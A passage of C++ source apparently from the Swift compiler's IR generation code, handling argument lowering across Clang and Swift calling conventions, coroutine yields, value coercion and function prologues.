IGF.Builder.CreateBitCast(temporary, coercedTy->getPointerTo());
if (IsDirectFlattened && isa<llvm::StructType>(coercedTy)) {
// Project out individual elements if necessary.
auto *ST = cast<llvm::StructType>(coercedTy);
const auto *layout = IGF.IGM.DataLayout.getStructLayout(ST);
for (unsigned EI : range(ST->getNumElements())) {
auto offset = Size(layout->getElementOffset(EI));
auto address = IGF.Builder.CreateStructGEP(coercedAddr, EI, offset);
out.add(IGF.Builder.CreateLoad(address));
}
} else {
// Otherwise, collect the single scalar.
out.add(IGF.Builder.CreateLoad(coercedAddr));
}
IGF.Builder.CreateLifetimeEnd(temporary, tempSize);
}
namespace {
/// Load a clang argument expansion from a buffer.
struct ClangExpandLoadEmitter :
ClangExpandProjection<ClangExpandLoadEmitter> {
Explosion &Out;
ClangExpandLoadEmitter(IRGenFunction &IGF, Explosion &out)
: ClangExpandProjection(IGF), Out(out) {}
void visitScalar(llvm::Type *scalarTy, Address addr) {
addr = IGF.Builder.CreateBitCast(addr, scalarTy->getPointerTo());
auto value = IGF.Builder.CreateLoad(addr);
Out.add(value);
}
};
/// Store a clang argument expansion into a buffer.
struct ClangExpandStoreEmitter :
ClangExpandProjection<ClangExpandStoreEmitter> {
Explosion &In;
ClangExpandStoreEmitter(IRGenFunction &IGF, Explosion &in)
: ClangExpandProjection(IGF), In(in) {}
void visitScalar(llvm::Type *scalarTy, Address addr) {
auto value = In.claimNext();
addr = IGF.Builder.CreateBitCast(addr, scalarTy->getPointerTo());
IGF.Builder.CreateStore(value, addr);
}
};
} // end anonymous namespace
/// Given a Swift value explosion in 'in', produce a Clang expansion
/// (according to ABIArgInfo::Expand) in 'out'.
static void
emitClangExpandedArgument(IRGenFunction &IGF, Explosion &in, Explosion &out,
clang::CanQualType clangType, SILType swiftType,
const LoadableTypeInfo &swiftTI, bool isOutlined) {
// If Clang's expansion schema matches Swift's, great.
auto swiftSchema = swiftTI.getSchema();
if (doesClangExpansionMatchSchema(IGF.IGM, clangType, swiftSchema)) {
return in.transferInto(out, swiftSchema.size());
}
// Otherwise, materialize to a temporary.
auto ctemp = swiftTI.allocateStack(IGF, swiftType, "clang-expand-arg.temp");
Address temp = ctemp.getAddress();
swiftTI.initialize(IGF, in, temp, isOutlined);
Address castTemp = IGF.Builder.CreateBitCast(temp, IGF.IGM.Int8PtrTy);
ClangExpandLoadEmitter(IGF, out).visit(clangType, castTemp);
swiftTI.deallocateStack(IGF, ctemp, swiftType);
}
/// Given a Clang-expanded (according to ABIArgInfo::Expand) parameter
/// in 'in', produce a Swift value explosion in 'out'.
void irgen::emitClangExpandedParameter(IRGenFunction &IGF,
Explosion &in, Explosion &out,
clang::CanQualType clangType,
SILType swiftType,
const LoadableTypeInfo &swiftTI) {
// If Clang's expansion schema matches Swift's, great.
auto swiftSchema = swiftTI.getSchema();
if (doesClangExpansionMatchSchema(IGF.IGM, clangType, swiftSchema)) {
return in.transferInto(out, swiftSchema.size());
}
// Otherwise, materialize to a temporary.
auto tempAlloc = swiftTI.allocateStack(IGF, swiftType,
"clang-expand-param.temp");
Address temp = tempAlloc.getAddress();
Address castTemp = IGF.Builder.CreateBitCast(temp, IGF.IGM.Int8PtrTy);
ClangExpandStoreEmitter(IGF, in).visit(clangType, castTemp);
// Then load out.
swiftTI.loadAsTake(IGF, temp, out);
swiftTI.deallocateStack(IGF, tempAlloc, swiftType);
}
static void externalizeArguments(IRGenFunction &IGF, const Callee &callee,
Explosion &in, Explosion &out,
TemporarySet &temporaries,
bool isOutlined) {
auto silConv = IGF.IGM.silConv;
auto fnType = callee.getOrigFunctionType();
auto params = fnType->getParameters();
assert(callee.getForeignInfo().ClangInfo);
auto &FI = *callee.getForeignInfo().ClangInfo;
// The index of the first "physical" parameter from paramTys/FI that
// corresponds to a logical parameter from params.
unsigned firstParam = 0;
// Handle the ObjC prefix.
if (callee.getRepresentation() == SILFunctionTypeRepresentation::ObjCMethod) {
// Ignore both the logical and the physical parameters associated
// with self and _cmd.
firstParam += 2;
params = params.drop_back();
// Or the block prefix.
} else if (fnType->getRepresentation()
== SILFunctionTypeRepresentation::Block) {
// Ignore the physical block-object parameter.
firstParam += 1;
}
for (unsigned i = firstParam, e = FI.arg_size(); i != e; ++i) {
auto clangParamTy = FI.arg_begin()[i].type;
auto &AI = FI.arg_begin()[i].info;
// We don't need to do anything to handle the Swift parameter-ABI
// attributes here because we shouldn't be trying to round-trip
// swiftcall function pointers through SIL as C functions anyway.
assert(FI.getExtParameterInfo(i).getABI() == clang::ParameterABI::Ordinary);
// Add a padding argument if required.
if (auto *padType = AI.getPaddingType())
out.add(llvm::UndefValue::get(padType));
SILType paramType = silConv.getSILType(params[i - firstParam]);
switch (AI.getKind()) {
case clang::CodeGen::ABIArgInfo::Extend: {
bool signExt = clangParamTy->hasSignedIntegerRepresentation();
assert((signExt || clangParamTy->hasUnsignedIntegerRepresentation()) &&
"Invalid attempt to add extension attribute to argument!");
(void) signExt;
LLVM_FALLTHROUGH;
}
case clang::CodeGen::ABIArgInfo::Direct: {
auto toTy = AI.getCoerceToType();
// Indirect parameters are bridged as Clang pointer types.
if (silConv.isSILIndirect(params[i - firstParam])) {
assert(paramType.isAddress() && "SIL type is not an address?");
auto addr = in.claimNext();
if (addr->getType() != toTy)
addr = IGF.coerceValue(addr, toTy, IGF.IGM.DataLayout);
out.add(addr);
break;
}
emitDirectExternalArgument(IGF, paramType, AI, in, out, isOutlined);
break;
}
case clang::CodeGen::ABIArgInfo::Indirect: {
auto &ti = cast<LoadableTypeInfo>(IGF.getTypeInfo(paramType));
auto temp = ti.allocateStack(IGF, paramType, "indirect-temporary");
temporaries.add({temp, paramType});
Address addr = temp.getAddress();
// Set at least the alignment the ABI expects.
if (AI.getIndirectByVal()) {
auto ABIAlign = AI.getIndirectAlign();
if (ABIAlign > addr.getAlignment()) {
auto *AS = cast<llvm::AllocaInst>(addr.getAddress());
AS->setAlignment(ABIAlign.getQuantity());
addr = Address(addr.getAddress(), Alignment(ABIAlign.getQuantity()));
}
}
ti.initialize(IGF, in, addr, isOutlined);
out.add(addr.getAddress());
break;
}
case clang::CodeGen::ABIArgInfo::CoerceAndExpand: {
auto ¶mTI = cast<LoadableTypeInfo>(IGF.getTypeInfo(paramType));
emitCoerceAndExpand(IGF, in, out, paramType, paramTI,
AI.getCoerceAndExpandType(),
AI.getCoerceAndExpandTypeSequence(),
TranslationDirection::ToForeign, isOutlined);
break;
}
case clang::CodeGen::ABIArgInfo::Expand:
emitClangExpandedArgument(
IGF, in, out, clangParamTy, paramType,
cast<LoadableTypeInfo>(IGF.getTypeInfo(paramType)), isOutlined);
break;
case clang::CodeGen::ABIArgInfo::Ignore:
break;
case clang::CodeGen::ABIArgInfo::InAlloca:
llvm_unreachable("Need to handle InAlloca when externalizing arguments");
break;
}
}
}
/// Returns whether allocas are needed.
bool irgen::addNativeArgument(IRGenFunction &IGF, Explosion &in,
SILParameterInfo origParamInfo, Explosion &out,
bool isOutlined) {
// Addresses consist of a single pointer argument.
if (IGF.IGM.silConv.isSILIndirect(origParamInfo)) {
out.add(in.claimNext());
return false;
}
auto paramType = IGF.IGM.silConv.getSILType(origParamInfo);
auto &ti = cast<LoadableTypeInfo>(IGF.getTypeInfo(paramType));
auto schema = ti.getSchema();
auto &nativeSchema = ti.nativeParameterValueSchema(IGF.IGM);
if (nativeSchema.requiresIndirect()) {
// Pass the argument indirectly.
auto buf = IGF.createAlloca(ti.getStorageType(),
ti.getFixedAlignment(), "");
ti.initialize(IGF, in, buf, isOutlined);
out.add(buf.getAddress());
return true;
} else {
if (schema.empty()) {
assert(nativeSchema.empty());
return false;
}
assert(!nativeSchema.empty());
// Pass the argument explosion directly, mapping into the native swift
// calling convention.
Explosion nonNativeParam;
ti.reexplode(IGF, in, nonNativeParam);
Explosion nativeParam = nativeSchema.mapIntoNative(
IGF.IGM, IGF, nonNativeParam, paramType, isOutlined);
nativeParam.transferInto(out, nativeParam.size());
return false;
}
}
/// Emit a direct parameter that was passed under a C-based CC.
static void emitDirectForeignParameter(IRGenFunction &IGF, Explosion &in,
const clang::CodeGen::ABIArgInfo &AI,
Explosion &out, SILType paramType,
const LoadableTypeInfo ¶mTI) {
// The ABI IR types for the entrypoint might differ from the
// Swift IR types for the body of the function.
llvm::Type *coercionTy = AI.getCoerceToType();
ArrayRef<llvm::Type*> expandedTys;
if (AI.isDirect() && AI.getCanBeFlattened() &&
isa<llvm::StructType>(coercionTy)) {
const auto *ST = cast<llvm::StructType>(coercionTy);
expandedTys = makeArrayRef(ST->element_begin(), ST->getNumElements());
} else if (coercionTy == paramTI.getStorageType()) {
// Fast-path a really common case. This check assumes that either
// the storage type of a type is an llvm::StructType or it has a
// single-element explosion.
out.add(in.claimNext());
return;
} else {
expandedTys = coercionTy;
}
auto outputSchema = paramTI.getSchema();
// Check to see if we can pairwise-coerce Swift's exploded scalars
// to Clang's expanded elements.
if (canCoerceToSchema(IGF.IGM, expandedTys, outputSchema)) {
for (auto &outputElt : outputSchema) {
llvm::Value *param = in.claimNext();
llvm::Type *outputTy = outputElt.getScalarType();
if (param->getType() != outputTy)
param = IGF.coerceValue(param, outputTy, IGF.IGM.DataLayout);
out.add(param);
}
return;
}
// Otherwise, we need to traffic through memory.
// Create a temporary.
Address temporary; Size tempSize;
std::tie(temporary, tempSize) = allocateForCoercion(IGF,
coercionTy,
paramTI.getStorageType(),
"");
IGF.Builder.CreateLifetimeStart(temporary, tempSize);
// Write the input parameters into the temporary:
Address coercedAddr =
IGF.Builder.CreateBitCast(temporary, coercionTy->getPointerTo());
// Break down a struct expansion if necessary.
if (auto expansionTy = dyn_cast<llvm::StructType>(coercionTy)) {
auto layout = IGF.IGM.DataLayout.getStructLayout(expansionTy);
for (unsigned i = 0, e = expansionTy->getNumElements(); i != e; ++i) {
auto fieldOffset = Size(layout->getElementOffset(i));
auto fieldAddr = IGF.Builder.CreateStructGEP(coercedAddr, i, fieldOffset);
IGF.Builder.CreateStore(in.claimNext(), fieldAddr);
}
// Otherwise, store the single scalar.
} else {
IGF.Builder.CreateStore(in.claimNext(), coercedAddr);
}
// Pull out the elements.
temporary = IGF.Builder.CreateBitCast(temporary,
paramTI.getStorageType()->getPointerTo());
paramTI.loadAsTake(IGF, temporary, out);
// Deallocate the temporary.
// `deallocateStack` emits the lifetime.end marker for us.
paramTI.deallocateStack(IGF, StackAddress(temporary), paramType);
}
void irgen::emitForeignParameter(IRGenFunction &IGF, Explosion ¶ms,
ForeignFunctionInfo foreignInfo,
unsigned foreignParamIndex, SILType paramTy,
const LoadableTypeInfo ¶mTI,
Explosion ¶mExplosion, bool isOutlined) {
assert(foreignInfo.ClangInfo);
auto &FI = *foreignInfo.ClangInfo;
auto clangArgTy = FI.arg_begin()[foreignParamIndex].type;
auto AI = FI.arg_begin()[foreignParamIndex].info;
// We don't need to do anything to handle the Swift parameter-ABI
// attributes here because we shouldn't be trying to round-trip
// swiftcall function pointers through SIL as C functions anyway.
assert(FI.getExtParameterInfo(foreignParamIndex).getABI()
== clang::ParameterABI::Ordinary);
// Drop padding arguments.
if (AI.getPaddingType())
params.claimNext();
switch (AI.getKind()) {
case clang::CodeGen::ABIArgInfo::Extend:
case clang::CodeGen::ABIArgInfo::Direct:
emitDirectForeignParameter(IGF, params, AI, paramExplosion, paramTy,
paramTI);
return;
case clang::CodeGen::ABIArgInfo::Indirect: {
Address address = paramTI.getAddressForPointer(params.claimNext());
paramTI.loadAsTake(IGF, address, paramExplosion);
return;
}
case clang::CodeGen::ABIArgInfo::Expand: {
emitClangExpandedParameter(IGF, params, paramExplosion, clangArgTy,
paramTy, paramTI);
return;
}
case clang::CodeGen::ABIArgInfo::CoerceAndExpand: {
auto ¶mTI = cast<LoadableTypeInfo>(IGF.getTypeInfo(paramTy));
emitCoerceAndExpand(IGF, params, paramExplosion, paramTy, paramTI,
AI.getCoerceAndExpandType(),
AI.getCoerceAndExpandTypeSequence(),
TranslationDirection::ToNative, isOutlined);
break;
}
case clang::CodeGen::ABIArgInfo::Ignore:
return;
case clang::CodeGen::ABIArgInfo::InAlloca:
llvm_unreachable("Need to handle InAlloca during signature expansion");
}
}
static void emitRetconCoroutineEntry(IRGenFunction &IGF,
CanSILFunctionType fnType,
Explosion &allParamValues,
llvm::Intrinsic::ID idIntrinsic,
Size bufferSize,
Alignment bufferAlignment) {
auto prototype =
IGF.IGM.getOpaquePtr(IGF.IGM.getAddrOfContinuationPrototype(fnType));
// Use malloc and free as our allocator.
auto allocFn = IGF.IGM.getOpaquePtr(IGF.IGM.getMallocFn());
auto deallocFn = IGF.IGM.getOpaquePtr(IGF.IGM.getFreeFn());
// Call the right 'llvm.coro.id.retcon' variant.
llvm::Value *buffer = allParamValues.claimNext();
llvm::Value *id = IGF.Builder.CreateIntrinsicCall(idIntrinsic, {
llvm::ConstantInt::get(IGF.IGM.Int32Ty, bufferSize.getValue()),
llvm::ConstantInt::get(IGF.IGM.Int32Ty, bufferAlignment.getValue()),
buffer,
prototype,
allocFn,
deallocFn
});
// Call 'llvm.coro.begin', just for consistency with the normal pattern.
// This serves as a handle that we can pass around to other intrinsics.
auto hdl = IGF.Builder.CreateIntrinsicCall(llvm::Intrinsic::ID::coro_begin, {
id,
llvm::ConstantPointerNull::get(IGF.IGM.Int8PtrTy)
});
// Set the coroutine handle; this also flags that is a coroutine so that
// e.g. dynamic allocas use the right code generation.
IGF.setCoroutineHandle(hdl);
}
void irgen::emitYieldOnceCoroutineEntry(IRGenFunction &IGF,
CanSILFunctionType fnType,
Explosion &allParamValues) {
emitRetconCoroutineEntry(IGF, fnType, allParamValues,
llvm::Intrinsic::ID::coro_id_retcon_once,
getYieldOnceCoroutineBufferSize(IGF.IGM),
getYieldOnceCoroutineBufferAlignment(IGF.IGM));
}
void irgen::emitYieldManyCoroutineEntry(IRGenFunction &IGF,
CanSILFunctionType fnType,
Explosion &allParamValues) {
emitRetconCoroutineEntry(IGF, fnType, allParamValues,
llvm::Intrinsic::ID::coro_id_retcon,
getYieldManyCoroutineBufferSize(IGF.IGM),
getYieldManyCoroutineBufferAlignment(IGF.IGM));
}
static Address createOpaqueBufferAlloca(IRGenFunction &IGF,
Size size, Alignment align) {
auto ty = llvm::ArrayType::get(IGF.IGM.Int8Ty, size.getValue());
auto addr = IGF.createAlloca(ty, align);
addr = IGF.Builder.CreateStructGEP(addr, 0, Size(0));
IGF.Builder.CreateLifetimeStart(addr, size);
return addr;
}
Address irgen::emitAllocYieldOnceCoroutineBuffer(IRGenFunction &IGF) {
return createOpaqueBufferAlloca(IGF, getYieldOnceCoroutineBufferSize(IGF.IGM),
getYieldOnceCoroutineBufferAlignment(IGF.IGM));
}
Address irgen::emitAllocYieldManyCoroutineBuffer(IRGenFunction &IGF) {
return createOpaqueBufferAlloca(IGF, getYieldManyCoroutineBufferSize(IGF.IGM),
getYieldManyCoroutineBufferAlignment(IGF.IGM));
}
void irgen::emitDeallocYieldOnceCoroutineBuffer(IRGenFunction &IGF,
Address buffer) {
auto bufferSize = getYieldOnceCoroutineBufferSize(IGF.IGM);
IGF.Builder.CreateLifetimeEnd(buffer, bufferSize);
}
void irgen::emitDeallocYieldManyCoroutineBuffer(IRGenFunction &IGF,
Address buffer) {
auto bufferSize = getYieldManyCoroutineBufferSize(IGF.IGM);
IGF.Builder.CreateLifetimeEnd(buffer, bufferSize);
}
llvm::Value *irgen::emitYield(IRGenFunction &IGF,
CanSILFunctionType coroutineType,
Explosion &substValues) {
auto coroSignature = IGF.IGM.getSignature(coroutineType);
auto coroInfo = coroSignature.getCoroutineInfo();
// Translate the arguments to an unsubstituted form.
Explosion allComponents;
for (auto yield : coroutineType->getYields())
addNativeArgument(IGF, substValues, yield, allComponents, false);
// Figure out which arguments need to be yielded directly.
SmallVector<llvm::Value*, 8> yieldArgs;
// Add the direct yield components.
auto directComponents =
allComponents.claim(coroInfo.NumDirectYieldComponents);
yieldArgs.append(directComponents.begin(), directComponents.end());
// The rest need to go into an indirect buffer.
auto indirectComponents = allComponents.claimAll();
auto resultStructTy =
dyn_cast<llvm::StructType>(coroSignature.getType()->getReturnType());
assert((!resultStructTy
&& directComponents.empty()
&& indirectComponents.empty())
|| (resultStructTy
&& resultStructTy->getNumElements() ==
(1 + directComponents.size()
+ unsigned(!indirectComponents.empty()))));
// Fill in the indirect buffer if necessary.
Optional<Address> indirectBuffer;
Size indirectBufferSize;
if (!indirectComponents.empty()) {
auto bufferStructTy = cast<llvm::StructType>(
resultStructTy->getElementType(resultStructTy->getNumElements() - 1)
->getPointerElementType());
auto layout = IGF.IGM.DataLayout.getStructLayout(bufferStructTy);
indirectBuffer = IGF.createAlloca(bufferStructTy,
Alignment(layout->getAlignment()));
indirectBufferSize = Size(layout->getSizeInBytes());
IGF.Builder.CreateLifetimeStart(*indirectBuffer, indirectBufferSize);
for (size_t i : indices(bufferStructTy->elements())) {
// Skip padding elements.
if (bufferStructTy->getElementType(i)->isArrayTy())
continue;
assert(!indirectComponents.empty() &&
"insufficient number of indirect yield components");
auto addr = IGF.Builder.CreateStructGEP(*indirectBuffer, i, layout);
IGF.Builder.CreateStore(indirectComponents.front(), addr);
indirectComponents = indirectComponents.drop_front();
}
assert(indirectComponents.empty() && "too many indirect yield components");
// Remember to yield the indirect buffer.
yieldArgs.push_back(indirectBuffer->getAddress());
}
// Perform the yield.
auto isUnwind =
IGF.Builder.CreateIntrinsicCall(llvm::Intrinsic::ID::coro_suspend_retcon,
{ IGF.IGM.Int1Ty },
yieldArgs);
// We're done with the indirect buffer.
if (indirectBuffer) {
IGF.Builder.CreateLifetimeEnd(*indirectBuffer, indirectBufferSize);
}
return isUnwind;
}
/// Add a new set of arguments to the function.
void CallEmission::setArgs(Explosion &original, bool isOutlined,
WitnessMetadata *witnessMetadata) {
// Convert arguments to a representation appropriate to the calling
// convention.
Explosion adjusted;
auto origCalleeType = CurCallee.getOrigFunctionType();
SILFunctionConventions fnConv(origCalleeType, IGF.getSILModule());
// Pass along the indirect result pointers.
original.transferInto(adjusted, fnConv.getNumIndirectSILResults());
// Pass along the coroutine buffer.
switch (origCalleeType->getCoroutineKind()) {
case SILCoroutineKind::YieldMany:
case SILCoroutineKind::YieldOnce:
original.transferInto(adjusted, 1);
break;
case SILCoroutineKind::None:
break;
}
// Translate the formal arguments and handle any special arguments.
switch (getCallee().getRepresentation()) {
case SILFunctionTypeRepresentation::ObjCMethod:
adjusted.add(getCallee().getObjCMethodReceiver());
adjusted.add(getCallee().getObjCMethodSelector());
externalizeArguments(IGF, getCallee(), original, adjusted,
Temporaries, isOutlined);
break;
case SILFunctionTypeRepresentation::Block:
adjusted.add(getCallee().getBlockObject());
LLVM_FALLTHROUGH;
case SILFunctionTypeRepresentation::CFunctionPointer:
externalizeArguments(IGF, getCallee(), original, adjusted,
Temporaries, isOutlined);
break;
case SILFunctionTypeRepresentation::WitnessMethod:
assert(witnessMetadata);
assert(witnessMetadata->SelfMetadata->getType() ==
IGF.IGM.TypeMetadataPtrTy);
assert(witnessMetadata->SelfWitnessTable->getType() ==
IGF.IGM.WitnessTablePtrTy);
Args.rbegin()[1] = witnessMetadata->SelfMetadata;
Args.rbegin()[0] = witnessMetadata->SelfWitnessTable;
LLVM_FALLTHROUGH;
case SILFunctionTypeRepresentation::Closure:
case SILFunctionTypeRepresentation::Method:
case SILFunctionTypeRepresentation::Thin:
case SILFunctionTypeRepresentation::Thick: {
// Check for value arguments that need to be passed indirectly.
// But don't expect to see 'self' if it's been moved to the context
// position.
auto params = origCalleeType->getParameters();
if (hasSelfContextParameter(origCalleeType)) {
params = params.drop_back();
}
for (auto param : params) {
addNativeArgument(IGF, original, param, adjusted, isOutlined);
}
// Anything else, just pass along. This will include things like
// generic arguments.
adjusted.add(original.claimAll());
break;
}
}
// Add the given number of arguments.
assert(LastArgWritten >= adjusted.size());
size_t targetIndex = LastArgWritten - adjusted.size();
assert(targetIndex <= 1);
LastArgWritten = targetIndex;
auto argIterator = Args.begin() + targetIndex;
for (auto value : adjusted.claimAll()) {
*argIterator++ = value;
}
}
void CallEmission::addAttribute(unsigned index,
llvm::Attribute::AttrKind attr) {
auto &attrs = CurCallee.getMutableAttributes();
attrs = attrs.addAttribute(IGF.IGM.LLVMContext, index, attr);
}
/// Initialize an Explosion with the parameters of the current
/// function. All of the objects will be added unmanaged. This is
/// really only useful when writing prologue code.
Explosion IRGenFunction::collectParameters() {
Explosion params;
for (auto i = CurFn->arg_begin(), e = CurFn->arg_end(); i != e; ++i)
params.add(&*i);
return params;
}
/// Fetch the error result slot.
Address IRGenFunction::getErrorResultSlot(SILType errorType) {
if (!ErrorResultSlot) {
auto &errorTI = cast<FixedTypeInfo>(getTypeInfo(errorType));
IRBuilder builder(IGM.getLLVMContext(), IGM.DebugInfo);
builder.SetInsertPoint(AllocaIP->getParent(), AllocaIP->getIterator());
// Create the alloca. We don't use allocateStack because we're
// not allocating this in stack order.
auto addr = createAlloca(errorTI.getStorageType(),
errorTI.getFixedAlignment(),
"swifterror");
// Only add the swifterror attribute on ABIs that pass it in a register.
// We create a shadow stack location of the swifterror parameter for the
// debugger on platforms that pass swifterror by reference and so we can't
// mark the parameter with a swifterror attribute for these.
if (IGM.IsSwiftErrorInRegister)
cast<llvm::AllocaInst>(addr.getAddress())->setSwiftError(true);
// Initialize at the alloca point.
auto nullError = llvm::ConstantPointerNull::get(
cast<llvm::PointerType>(errorTI.getStorageType()));
builder.CreateStore(nullError, addr);
ErrorResultSlot = addr.getAddress();
}
return Address(ErrorResultSlot, IGM.getPointerAlignment());
}
/// Fetch the error result slot received from the caller.
Address IRGenFunction::getCallerErrorResultSlot() {
assert(ErrorResultSlot && "no error result slot!");
assert(isa<llvm::Argument>(ErrorResultSlot) && "error result slot is local!");
return Address(ErrorResultSlot, IGM.getPointerAlignment());
}
// Set the error result slot. This should only be done in the prologue.
void IRGenFunction::setErrorResultSlot(llvm::Value *address) {
assert(!ErrorResultSlot && "already have error result slot!");
assert(isa<llvm::PointerType>(address->getType()));
ErrorResultSlot = address;
}
/// Emit the basic block that 'return' should branch to and insert it into
/// the current function. This creates a second
/// insertion point that most blocks should be inserted before.
void IRGenFunction::emitBBForReturn() {
ReturnBB = createBasicBlock("return");
CurFn->getBasicBlockList().push_back(ReturnBB);
}
/// Emit the prologue for the function.
void IRGenFunction::emitPrologue() {
// Set up the IRBuilder.
llvm::BasicBlock *EntryBB = createBasicBlock("entry");
assert(CurFn->getBasicBlockList().empty() && "prologue already emitted?");
CurFn->getBasicBlockList().push_back(EntryBB);
Builder.SetInsertPoint(EntryBB);
// Set up the alloca insertion point.
AllocaIP = Builder.IRBuilderBase::CreateAlloca(IGM.Int1Ty,
/*array size*/ nullptr,
"alloca point");
}
/// Emit a branch to the return block and set the insert point there.
/// Returns true if the return block is reachable, false otherwise.
bool IRGenFunction::emitBranchToReturnBB() {
// If there are no edges to the return block, we never want to emit it.
if (ReturnBB->use_empty()) {
ReturnBB->eraseFromParent();
// Normally this means that we'll just insert the epilogue in the
// current block, but if the current IP is unreachable then so is
// the entire epilogue.
if (!Builder.hasValidIP())
return false;
// Otherwise, branch to it if the current IP is reachable.
} else if (Builder.hasValidIP()) {
Builder.CreateBr(ReturnBB);
Builder.SetInsertPoint(ReturnBB);
// Otherwise, if there is exactly one use of the return block, merge
// it into its predecessor.
} else if (ReturnBB->hasOneUse()) {
// return statements are never emitted as conditional branches.
llvm::BranchInst *Br = cast<llvm::BranchInst>(*ReturnBB->use_begin());
assert(Br->isUnconditional());
Builder.SetInsertPoint(Br->getParent());
Br->eraseFromParent();
ReturnBB->eraseFromParent();
// Otherwise, just move the IP to the return block.
} else {
Builder.SetInsertPoint(ReturnBB);
}
return true;
}
/// Emit the epilogue for the function.
void IRGenFunction::emitEpilogue() {
// Destroy the alloca insertion point.
AllocaIP->eraseFromParent();
}
std::pair<Address, Size>
irgen::allocateForCoercion(IRGenFunction &IGF,
llvm::Type *fromTy,
llvm::Type *toTy,
const llvm::Twine &basename) {
auto &DL = IGF.IGM.DataLayout;
auto fromSize = DL.getTypeSizeInBits(fromTy);
auto toSize = DL.getTypeSizeInBits(toTy);
auto bufferTy = fromSize >= toSize
? fromTy
: toTy;
auto alignment = std::max(DL.getABITypeAlignment(fromTy),
DL.getABITypeAlignment(toTy));
auto buffer = IGF.createAlloca(bufferTy, Alignment(alignment),
basename + ".coerced");
Size size(std::max(fromSize, toSize));
return {buffer, size};
}
llvm::Value* IRGenFunction::coerceValue(llvm::Value *value, llvm::Type *toTy,
const llvm::DataLayout &DL)
{
llvm::Type *fromTy = value->getType();
assert(fromTy != toTy && "Unexpected same types in type coercion!");
assert(!fromTy->isVoidTy()
&& "Unexpected void source type in type coercion!");
assert(!toTy->isVoidTy()
&& "Unexpected void destination type in type coercion!");
// Use the pointer/pointer and pointer/int casts if we can.
if (toTy->isPointerTy()) {
if (fromTy->isPointerTy())
return Builder.CreateBitCast(value, toTy);
if (fromTy == IGM.IntPtrTy)
return Builder.CreateIntToPtr(value, toTy);
} else if (fromTy->isPointerTy()) {
if (toTy == IGM.IntPtrTy) {
return Builder.CreatePtrToInt(value, toTy);
}
}
// Otherwise we need to store, bitcast, and load.
Address address; Size size;
std::tie(address, size) = allocateForCoercion(*this, fromTy, toTy,
value->getName() + ".coercion");
Builder.CreateLifetimeStart(address, size);
auto orig = Builder.CreateBitCast(address, fromTy->getPointerTo());
Builder.CreateStore(value, orig);
auto coerced = Builder.CreateBitCast(address, toTy->getPointerTo());
auto loaded = Builder.CreateLoad(coerced);
Builder.CreateLifetimeEnd(address, size);
return loaded;
}
void IRGenFunction::emitScalarReturn(llvm::Type *resultType,
Explosion &result) {
if (result.empty()) {
Builder.CreateRetVoid();
return;
}
auto *ABIType = CurFn->getReturnType();
if (result.size() == 1) {
auto *returned = result.claimNext();
if (ABIType != returned->getType())
returned = coerceValue(returned, ABIType, IGM.DataLayout);
Builder.CreateRet(returned);
return;
}
// Multiple return values are returned as a struct.
assert(cast<llvm::StructType>(resultType)->getNumElements() == result.size());
llvm::Value *resultAgg = llvm::UndefValue::get(resultType);
for (unsigned i = 0, e = result.size(); i != e; ++i) {
llvm::Value *elt = result.claimNext();
resultAgg = Builder.CreateInsertValue(resultAgg, elt, i);
}
if (ABIType != resultType)
resultAgg = coerceValue(resultAgg, ABIType, IGM.DataLayout);
Builder.CreateRet(resultAgg);
}
/// Adjust the alignment of the alloca pointed to by \p allocaAddr to the
/// required alignment of the struct \p type.
static void adjustAllocaAlignment(const llvm::DataLayout &DL,
Address allocaAddr, llvm::StructType *type) {
auto layout = DL.getStructLayout(type);
Alignment layoutAlignment = Alignment(layout->getAlignment());
auto alloca = cast<llvm::AllocaInst>(allocaAddr.getAddress());
if (alloca->getAlignment() < layoutAlignment.getValue()) {
alloca->setAlignment(layoutAlignment.getValue());
allocaAddr = Address(allocaAddr.getAddress(), layoutAlignment);
}
}
unsigned NativeConventionSchema::size() const {
if (empty())
return 0;
unsigned size = 0;
Lowering.enumerateComponents([&](clang::CharUnits offset,
clang::CharUnits end,
llvm::Type *type) { ++size; });
return size;
}
static bool canMatchByTruncation(IRGenModule &IGM,
ArrayRef<llvm::Type*> expandedTys,
const ExplosionSchema &schema) {
// If the schemas don't even match in number, we have to go
// through memory.
if (expandedTys.size() != schema.size() || expandedTys.empty())
return false;
if (expandedTys.size() == 1) return false;
// If there are multiple elements, the pairs of types need to
// match in size upto the penultimate for the truncation to work.
size_t e = expandedTys.size();
for (size_t i = 0; i != e - 1; ++i) {
// Check that we can truncate the last element.
llvm::Type *outputTy = schema[i].getScalarType();
llvm::Type *inputTy = expandedTys[i];
if (inputTy != outputTy &&
IGM.DataLayout.getTypeSizeInBits(inputTy) !=
IGM.DataLayout.getTypeSizeInBits(outputTy))
return false;
}
llvm::Type *outputTy = schema[e-1].getScalarType();
llvm::Type *inputTy = expandedTys[e-1];
return inputTy == outputTy || (IGM.DataLayout.getTypeSizeInBits(inputTy) ==
IGM.DataLayout.getTypeSizeInBits(outputTy)) ||
(IGM.DataLayout.getTypeSizeInBits(inputTy) >
IGM.DataLayout.getTypeSizeInBits(outputTy) &&
isa<llvm::IntegerType>(inputTy) && isa<llvm::IntegerType>(outputTy));
}
Explosion NativeConventionSchema::mapFromNative(IRGenModule &IGM,
IRGenFunction &IGF,
Explosion &native,
SILType type) const {
if (native.empty()) {
assert(empty() && "Empty explosion must match the native convention");
return Explosion();
}
assert(!empty());
auto *nativeTy = getExpandedType(IGM);
auto expandedTys = expandScalarOrStructTypeToArray(nativeTy);
auto &TI = IGM.getTypeInfo(type);
auto schema = TI.getSchema();
// The expected explosion type.
auto *explosionTy = schema.getScalarResultType(IGM);
// Check whether we can coerce the explosion to the expected type convention.
auto &DataLayout = IGM.DataLayout;
Explosion nonNativeExplosion;
if (canCoerceToSchema(IGM, expandedTys, schema)) {
if (native.size() == 1) {
auto *elt = native.claimNext();
if (explosionTy != elt->getType()) {
if (isa<llvm::IntegerType>(explosionTy) &&
isa<llvm::IntegerType>(elt->getType())) {
elt = IGF.Builder.CreateTrunc(elt, explosionTy);
} else {
elt = IGF.coerceValue(elt, explosionTy, DataLayout);
}
}
nonNativeExplosion.add(elt);
return nonNativeExplosion;
} else if (nativeTy == explosionTy) {
native.transferInto(nonNativeExplosion, native.size());
return nonNativeExplosion;
}
// Otherwise, we have to go through memory if we can match by truncation.
} else if (canMatchByTruncation(IGM, expandedTys, schema)) {
assert(expandedTys.size() == schema.size());
for (size_t i = 0, e = expandedTys.size(); i != e; ++i) {
auto *elt = native.claimNext();
auto *schemaTy = schema[i].getScalarType();
auto *nativeTy = elt->getType();
assert(nativeTy == expandedTys[i]);
if (schemaTy == nativeTy) {
// elt = elt
